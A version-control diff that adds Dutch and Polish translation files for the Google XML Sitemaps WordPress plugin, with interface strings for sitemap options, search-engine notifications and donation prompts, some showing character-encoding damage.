+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+
+msgid "Comment Count"
+msgstr "Aantal Reacties"
+
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "Gebruikt het aantal reacties van het bericht om de prioriteit te berekenen"
+
+msgid "Comment Average"
+msgstr "Reactie Gemiddelde"
+
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Gebruik het reactie gemiddelde om de prioriteit te berekenen"
+
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "Gebruikt het geactiveerde <a href=\"%1\">Popularity Contest Plugin</a> van <a href=\"%2\">Alex King</a>. Zie <a href=\"%3\">instellingen</a> en <a href=\"%4\">meest populaire berichten</a>"
+
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap Generator"
+
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Hartelijke dank voor je donatie! Je helpt hierbij deze gratis plugin te ondersteunen en verder te ontwikkelen!"
+
+msgid "Hide this notice"
+msgstr "Deze melding verbergen"
+
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "Bedankt voor het gebruiken van deze plugin! Je hebt deze plugin meer dan een maand geleden geinstalleerd. Wanneer het naar behoren werkt en je met het resultaat tevreden bent is het dan niet minsten Ã©Ã©n dollar waard? <a href=\"%s\">Donaties</a> helpen mij deze diese <i>gratis</i> software te ondersteunen en verder te ontwikkelen! <a href=\"%s\">Natuurlijk, geen probleem!</a> "
+
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Nee dankjewel, val me hier niet meer mee lastig! "
+
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML Sitemap Generator voor WordPress"
+
+msgid "Configuration updated"
+msgstr "De instellingen zijn opgeslagen"
+
+msgid "Error while saving options"
+msgstr "Bij het opslaan van de instellingen is een fout opgetreden."
+
+msgid "Pages saved"
+msgstr "Pagina's opgeslagen"
+
+msgid "Error while saving pages"
+msgstr "Bij het opslaan van de pagina's is een fout opgetreden"
+
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "<a href=\"%s\">Robots.txt</a> bestand opgeslagen"
+
+msgid "Error while saving Robots.txt file"
+msgstr "Er is een fout opgetreden tijdens het opslaan van robots.txt"
+
+msgid "The default configuration was restored."
+msgstr "De standaard instellingen zijn weer hersteld."
+
+msgid "open"
+msgstr "openen"
+
+msgid "close"
+msgstr "sluiten"
+
+msgid "click-down and drag to move this box"
+msgstr "Klik en sleep om dit venster te verplaatsen"
+
+msgid "click to %toggle% this box"
+msgstr "Klik om dit venster te %toggle%"
+
+msgid "use the arrow keys to move this box"
+msgstr "gebruik de cursor toetsen om dit venster te verplaatsen"
+
+msgid ", or press the enter key to %toggle% it"
+msgstr ", of druk op de enter toets om het te %toggle%"
+
+msgid "About this Plugin:"
+msgstr "Over deze plugin:"
+
+msgid "Plugin Homepage"
+msgstr "Plugin homepage"
+
+msgid "Notify List"
+msgstr "E-Mail wanneer er een update is"
+
+msgid "Support Forum"
+msgstr "Support Forum"
+
+msgid "Donate with PayPal"
+msgstr "Met PayPal doneren"
+
+msgid "My Amazon Wish List"
+msgstr "Amazon wensenlijst"
+
+msgid "translator_name"
+msgstr "Mark Peters"
+
+msgid "translator_url"
+msgstr "http://www.zinloosverteld.nl"
+
+msgid "Sitemap Resources:"
+msgstr "Sitemap informatie:"
+
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+msgid "Search Blog"
+msgstr "Doorzoek Blog"
+
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps Protocol"
+
+msgid "Official Sitemaps FAQ"
+msgstr "Offici&euml;le Sitemaps FAQ"
+
+msgid "My Sitemaps FAQ"
+msgstr "Mijn Sitemaps FAQ"
+
+msgid "Recent Donations:"
+msgstr "Recente Donaties:"
+
+msgid "List of the donors"
+msgstr "Lijst van donateurs"
+
+msgid "Hide this list"
+msgstr "Lijst verbergen"
+
+msgid "Thanks for your support!"
+msgstr "Bedankt voor je support!"
+
+msgid "Status"
+msgstr "Status"
+
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "De sitemap is nog niet gegenereerd. <a href=\"%s\">Klik hier</a> om deze voor de eerste keer aan te maken."
+
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "Jouw <a href=\"%url%\">Sitemap</a> werd voor het laatst op <b>%date%</b> gegenereerd."
+
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Er was een probleem met het opslaan van je sitemap bestand. Controleer of het bestand bestaat en de juiste bestandspermissies heeft. <a href=\"%url%\">Meer informatie</a"
+
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Jouw (<a href=\"%url%\">gezipt</a>) sitemap  werd voor het laatst op <b>%date%</b> gegenereerd."
+
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Er was een probleem met het opslaan van het gezipte sitemap bestand. Controleer of het bestand bestand en de juiste bestandspermissies heeft. <a href=\"%url%\">Meer informatie</a"
+
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google is <b>succesvol</b> op de hoogte gesteld van de veranderingen."
+
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Het duurde %time% seconden om Google op de hoogte te stellen. Misschien wil je deze optie deactiveren om de doorlooptijd van de sitemap generatie te verkorten?"
+
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Er was een probleem bij het informeren van Google. <a href=\"%s\">Resultaat weergeven</a>"
+
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoo is <b>succesvol</b> op de hoogte gesteld van de veranderingen."
+
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Het duurde %time% seconden om Yahoo op de hoogte te stellen. Misschien wil je deze optie deactiveren om de doorlooptijd van de sitemap generatie te verkorten?"
+
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Er was een probleem bij het informeren van Yahoo. <a href=\"%s\">Resultaat weergeven</a>"
+
+msgid "MSN was <b>successfully notified</b> about changes."
+msgstr "MSN.com  is <b>succesvol</b> op de hoogte gesteld van de veranderingen."
+
+msgid "It took %time% seconds to notify MSN.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Het duurde %time% seconden om MSN.com op de hoogte te stellen. Misschien wil je deze optie deactiveren om de doorlooptijd van de sitemap generatie te verkorten?"
+
+msgid "There was a problem while notifying MSN.com. <a href=\"%s\">View result</a>"
+msgstr "Er was een probleem bij het informeren van MSN.com. <a href=\"%s\">Resultaat weergeven</a>"
+
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com is <b>succesvol</b> op de hoogte gesteld van de veranderingen."
+
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Het duurde %time% seconden om Ask.com op de hoogte te stellen. Misschien wil je deze optie deactiveren om de doorlooptijd van de sitemap generatie te verkorten?"
+
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Er was een probleem bij het informeren van Ask.com. <a href=\"%s\">Resultaat weergeven</a>"
+
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Het sitemap genereren duurde <b>%time% seconden</b> en gebruikte %memory%MB geheugen."
+
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Het sitemap genereren duurde <b>%time% seconden</b>."
+
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "De inhoud van de sitemap heeft zich <strong>niet gewijzigd</strong> sinds de laatste keer, als gevolgd zijn er geen bestanden weggeschreven en zijn de zoekmachines niet op de hoogte gesteld."
+
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "De laatste generatie van de sitemap is niet afgesloten! Het kan helpen de geheugenlimiet voor PHP scripts te verhogen. <a href=\"%url%\">Meer informatie</a>"
+
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "Het laatst bekende geheugengebruik van het script lag op %memused%MB, het limiet voor PHP scripts op deze server is %memlimit%."
+
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "De laatst bekende doorlooptijd lag op %timeused% seconden, het limiet voor PHP scripts voor deze server is %timelimit% seconden."
+
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Het script is ongeveer gestopt bij bericht nummer %lastpost%  (+/- 100)"
+
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Wanneer er iets gewijzigd is op de server of aan het Blog, dan kan men de sitemap met de hand opnieuw <a href=\"%s\">genereren</a>."
+
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Indien er bij het genereren van de sitemap problemen zijn kan men de <a href=\"%d\">Debug Functie</a> gebruiken om meer informatie over de opgetreden fout te achterhalen."
+
+msgid "Basic Options"
+msgstr "Basisinstellingen"
+
+msgid "Sitemap files:"
+msgstr "Sitemap bestanden:"
+
+msgid "Learn more"
+msgstr "Meer informatie"
+
+msgid "Write a normal XML file (your filename)"
+msgstr "Sitemap als XML bestand aanmaken (bestandsnaam)"
+
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Gezipte sitemap aanmaken  (bestandsnaam + .gz)"
+
+msgid "Building mode:"
+msgstr "Generatie mode::"
+
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Sitemap opnieuw genereren wanneer je de inhoud van je Blog wijzigt"
+
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Handmatig genereren van de sitemap via GET aanvragen toestaan"
+
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Hiermee kun je je sitemap opnieuw genereren indien een externe tool in de database van WordPress geschreven heeft zonder gebruik te maken van de API. Gebruik de volgende URL om het process te starten: <a href=\"%1\">%1</a> Controleer het logbestand hierboven om te kijken of de sitemap succesvol is gegenereerd."
+
+msgid "Update notification:"
+msgstr "Wijzigings notificatie:"
+
+msgid "Notify Google about updates of your Blog"
+msgstr "Google YAHOO op de hoogte stellen van de Blog wijzigingen"
+
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Registratie niet noodzakelijk, maar je kunt je optioneel aanmelden bij de <a href=\"%s\">Google Webmaster Tools</a> om de indexeringsstatistieken van de site te bekijken."
+
+msgid "Notify MSN Live Search about updates of your Blog"
+msgstr "MSN Live Search op de hoogte stellen van de Blog wijzigingen"
+
+msgid "No registration required, but you can join the <a href=\"%s\">MSN Live Webmaster Tools</a> to check crawling statistics."
+msgstr "Registratie niet noodzakelijk, maar je kunt je optioneel aanmelden bij de <a href=\"%s\">MSN Live Webmaster Tools</a> om de indexeringsstatistieken van de site te bekijken."
+
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ask.com YAHOO op de hoogte stellen van de Blog wijzigingen"
+
+msgid "No registration required."
+msgstr "Geen registratie noodzakelijk"
+
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "YAHOO op de hoogte stellen van de Blog wijzigingen"
+
+msgid "Your Application ID:"
+msgstr "Jouw Application ID:"
+
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>!</a> %s2"
+msgstr "Nog geen key? <a href=\"%s1\">Hier aanvragen</a>!</a> %s2"
+
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "Maak of wijzig het %s bestand in de root directory van je Blog."
+
+msgid "File permissions: "
+msgstr "Bestands permissies:"
+
+msgid "OK, robots.txt is writable."
+msgstr "OK, robots.txt kan weggeschreven worden."
+
+msgid "Error, robots.txt is not writable."
+msgstr "Error, robots.txt kan niet weggeschreven worden."
+
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "OK, robots.txt bestaat nog niet, maar de directory kan beschreven worden."
+
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "Error, robots.txt bestaat niet en de directory is niet beschrijfbaar"
+
+msgid "Advanced options:"
+msgstr "Uitgebreide instellingen"
+
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Het aantal berichten in de sitemap limiteren:"
+
+msgid "Newer posts will be included first"
+msgstr "Nieuwe berichten worden het eerst opgenomen"
+
+msgid "Try to increase the memory limit to:"
+msgstr "Probeer de geheugenlimiet te verhogen naar: "
+
+msgid "e.g. \"4M\", \"16M\""
+msgstr "bijv. \"4M\", \"16M\""
+
+msgid "Try to increase the execution time limit to:"
+msgstr "Probeer de tijdslimiet van de generatie aan te passen naar:"
+
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "in seconden, bijv. \"60\" of \"0\" voor geen limiet"
+
+msgid "Include a XSLT stylesheet:"
+msgstr "XSLT stylesheet toevoegen:"
+
+msgid "Use Default"
+msgstr "Gebruik de standaard"
+
+msgid "Full or relative URL to your .xsl file"
+msgstr "Volledige of relatieve pad naar het .xsl bestand"
+
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "MySQL standaard mode activeren. Gebruik deze optie indien MYSQL fouten optreden (gebruikt meer geheugen!)"
+
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Genereer de sitemap in de achtergrond (Hierdoor is er geen wachttijd wanneer er een bericht wordt geplaatst)"
+
+msgid "Exclude the following posts or pages:"
+msgstr "Volgende berichten of pagina's uitsluiten:"
+
+msgid "List of IDs, separated by comma"
+msgstr "Lijst van de IDs, gescheiden door komma"
+
+msgid "Additional pages"
+msgstr "Addtionele pagina's"
+
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Hier kunnen de bestanden of URLHier kÃ¶nnen Sie zusÃ€tzliche Seiten in Form von URLs angeben, welche mit in Ihre Sitemap aufgenommen werden sollen aber nicht von WordPress erzeugt werden. Falls Sie z.B. Ihre Homepage auf www.beispiel.com haben, Ihr Blog aber unter www.beispiel.com/blog zu erreichen ist, tragen Sie Ihre Homepage als http://www.beispiel.com hier  ein."
+
+msgid "Note"
+msgstr "Notitie"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Indien het Blog in een subdirectory staat en je wilt pagina's toevoegen die NIET in de Blog of onderliggende directories liggen, dan MOET je je sitemap bestand in de root direcotry van de webserver plaatsten. (Kijk naar de &quot;Locatie van het sitemap bestand&quot; sectiew op deze pagina)!"
+
+msgid "URL to the page"
+msgstr "URL naar de pagina"
+
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Vul hier de URL naar de pagina in. Voorbeeld: http://www.zinloosverteld.nl of http://www.zinloosverteld.nl/blog"
+
+msgid "Priority"
+msgstr "Prioriteit"
+
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Kies hier de prioriteit van de pagina relatief ten opzichte van andere pagina's. Bijvoorbeeld, de homepage heeft een hogere prioriteit dan een colofon pagina."
+
+msgid "Last Changed"
+msgstr "Laatste wijziging"
+
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Voer hier de laatste wijziging in in het formaat JJJJ-MM-DD (bijv. 2005-12-31). Dit veld is optioneel en hoeft niet ingevuld te worden."
+
+msgid "Change Frequency"
+msgstr "Wijzigingsfrequentie"
+
+msgid "#"
+msgstr "#"
+
+msgid "No pages defined."
+msgstr "Er zijn geen pagina's gedefini&euml;erd."
+
+msgid "Add new page"
+msgstr "Nieuwe pagina toevoegen"
+
+msgid "Post Priority"
+msgstr "Bericht prioriteit"
+
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Kies hier de berekeningsmethode voor de prioriteit van de berichten."
+
+msgid "Do not use automatic priority calculation"
+msgstr "Geen automatische prioriteitsberekening gebruiken"
+
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Alle berichten hebben dezelfde prioriteit die onder &quot;Prioriteiten&quot; is ingesteld."
+
+msgid "Location of your sitemap file"
+msgstr "Locatie van het sitemap bestand"
+
+msgid "Automatic detection"
+msgstr "Automatische herkenning"
+
+msgid "Filename of the sitemap file"
+msgstr "Bestandsnaam van de sitemap"
+
+msgid "Detected Path"
+msgstr "Herkend pad"
+
+msgid "Detected URL"
+msgstr "Herkende URL"
+
+msgid "Custom location"
+msgstr "Handmatig ingesteld pad"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absoluut of relatief pad naar het sitemap bestand inclusief bestandsnaam."
+
+msgid "Example"
+msgstr "Voorbeeld"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Absolute URL naar het sitemap bestand inclusief de bestandsnaam."
+
+msgid "Sitemap Content"
+msgstr "Sitemap inhoud"
+
+msgid "Include homepage"
+msgstr "Bevat homepage"
+
+msgid "Include posts"
+msgstr "Bevat berichten"
+
+msgid "Include static pages"
+msgstr "Bevat statische pagina's"
+
+msgid "Include categories"
+msgstr "Bevat categorie&euml;n"
+
+msgid "Include archives"
+msgstr "Bevat archieven"
+
+msgid "Include tag pages"
+msgstr "Bevag tag pagina's"
+
+msgid "Include author pages"
+msgstr "Bevat auteur pagina's"
+
+msgid "Change frequencies"
+msgstr "Wijzigingsfrequentie"
+
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Let er op dat de waarde van deze tag als tip gezien wordt en niet als commando. Zoekmachines kunnen deze tip oppakken, echter hoeven zij zich er niet aan te houden. Ze kunnen pagina's per \"Hourly\" gemarkeerd minder bezoeken. En pagina's gemarkeerd \"Yearly\" kunnen frequentere controles krijgen. Ook pagina's gemarkeerd \"Never\" kunnen worden bezocht om zo onverwachte veranderingen op te pakken."
+
+msgid "Homepage"
+msgstr "Homepage"
+
+msgid "Posts"
+msgstr "Berichten"
+
+msgid "Static pages"
+msgstr "Statische pagina's"
+
+msgid "Categories"
+msgstr "Categorie&euml;n"
+
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Het archief van de huidige maand (Zou hetzelfde moeten zijn als de homepage)"
+
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Archieven van voorgaande maanden"
+
+msgid "Tag pages"
+msgstr "Tag pagina's"
+
+msgid "Author pages"
+msgstr "Auteur pagina's"
+
+msgid "Priorities"
+msgstr "Prioriteiten"
+
+msgid "Posts (If auto calculation is disabled)"
+msgstr "Berichten (Wanneer automatische berekening is geactiveerd)"
+
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Minimale prioriteit voor berichten (ook wanneer de automatische berekening is geactiveerd)"
+
+msgid "Archives"
+msgstr "Archieven"
+
+msgid "Update options"
+msgstr "Instellingen opslaan"
+
+msgid "Reset options"
+msgstr "Instellingen herstellen"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-pl_PL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-pl_PL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-pl_PL.po	(revision 44)
@@ -0,0 +1,703 @@
+# Polish Language File for Google XML Sitemaps - sitemap-pl_PL.po)
+# Copyright (C) 2007 Kuba Zwolinski : http://kubazwolinski.com
+# This file is distributed under the same license as the WordPress package.
+# kuba <snowdog@o2.pl>, 2007.
+# $Id: sitemap-pl_PL.po 2504 2007-10-03 09:19:18Z
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Google Sitemap Generator PL\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2007-12-30 12:52+0100\n"
+"Last-Translator: Kuba Zwolinski <snowdog@o2.pl>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: SnowDog <snowdog@o2.pl>\n"
+"X-Poedit-Language: Polish\n"
+"X-Poedit-Country: POLAND\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"Plural-Forms: nplurals=3; plural=n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:846
+msgid "Comment Count"
+msgstr "Liczba komentarzy"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "UÅŒywa liczbÄ komentarzy do obliczania priorytetu wpisu"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:918
+msgid "Comment Average"
+msgstr "Årednia komentarzy"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "UÅŒywa ÅredniÄ
+ liczbÄ komentarzy do obliczania priorytetu wpisu"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "Konkurs popularnoÅci"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "UÅŒywa wÅÄ
+czonej wtyczki <a href=\"%1\">Popularity Contest</a> od <a href=\"%2\">Alex King</a>. Zobacz<a href=\"%3\">ustawienia</a> i <a href=\"%4\">najbardziej popularne wpisy</a>"
+
+msgid "XML-Sitemap Generator"
+msgstr "Generator XML-Sitemap"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2397
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2582
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Wielkie dziÄki za wsparcie. Pomagasz mi rozwijaÄ tÄ wtyczkÄ oraz inne darmowe oprogramowanie!"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2582
+msgid "Hide this notice"
+msgstr "Ukryj tÄ informacjÄ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2606
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "DziÄki za uÅŒywanie tej wtyczki! Wtyczka zostaÅa zainstalowana ponad miesiÄ
+c temu. JeÅli dziaÅa dobrze i rezultaty sa zgodne z Twoimi oczekiwaniami, czy nie jest to wart paru zÅotych? <a href=\"%s\">Dotacje</a> pomagajÄ
+ mi kontynuowac rozwÃ³j wtyczki oraz zapewniÄ pomoc technicznÄ
+ uÅŒytkownikom tego <i>darmowego</i> programu! <a href=\"%s\">Jasne, bardzo chÄtnie!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2606
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Nie, dziÄki. I nie zawracaj mi wiÄcej tym gÅowy!"
+
+msgid "XML Sitemap Generator for WordPress"
+msgstr "Generator XML-Sitemap"
+
+msgid "Configuration updated"
+msgstr "Konfiguracja zaktualizowana"
+
+msgid "Error while saving options"
+msgstr "WystÄ
+piÅ bÅÄ
+d podczas zapisywania opcji"
+
+msgid "Pages saved"
+msgstr "Strony zostaÅy zapisane"
+
+msgid "Error while saving pages"
+msgstr "WystÄ
+piÅ bÅÄ
+d podczas zapisywania stron."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2711
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "Plik <a href=\"%s\">Robots.txt</a> zostaÅ zapisany"
+
+msgid "Error while saving Robots.txt file"
+msgstr "WystÄ
+piÅ bÅÄ
+d podczas zapisu pliku Robots.txt"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2721
+msgid "The default configuration was restored."
+msgstr "DomyÅlna konfiguracja zostaÅa przywrÃ³cona."
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2814
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2831
+msgid "open"
+msgstr "otworzyÄ"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2815
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2832
+msgid "close"
+msgstr "zamknÄ
+Ä"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2816
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2833
+msgid "click-down and drag to move this box"
+msgstr "wciÅnik klawisz i przeciÄ
+gnij ÅŒeby przesunÄ
+Ä"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2817
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2834
+msgid "click to %toggle% this box"
+msgstr "kliknij aby %toggle% to pole"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2818
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2835
+msgid "use the arrow keys to move this box"
+msgstr "uÅŒyj kursorÃ³w aby przesunÄ
+Ä ten blok"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2819
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2836
+msgid ", or press the enter key to %toggle% it"
+msgstr ", lub wciÅnij enter aby %toggle%"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2847
+msgid "About this Plugin:"
+msgstr "O wtyczce:"
+
+msgid "Plugin Homepage"
+msgstr "Strona gÅÃ³wna wtyczki"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2850
+msgid "Notify List"
+msgstr "Lista zmian wtyczki"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2851
+msgid "Support Forum"
+msgstr "Forum pomocy"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2852
+msgid "Donate with PayPal"
+msgstr "WspomÃ³ÅŒ nas przez PayPal"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2853
+msgid "My Amazon Wish List"
+msgstr "Lista ÅŒyczeÅ Amazon"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2854
+msgid "translator_name"
+msgstr "Strona tÅumaczenia"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2854
+msgid "translator_url"
+msgstr "http://kubazwolinski.com/wordpress/tlumaczenie-wtyczki-google-xml-sitemaps/"
+
+msgid "Sitemap Resources:"
+msgstr "O mapie strony:"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2860
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2861
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# F:\apache\htdocs\wordpress2-3\wp-content\plugins\google-sitemap-generator/sitemap.php:2863
+msgid "Site Explorer"
+msgstr "Site Explorer"
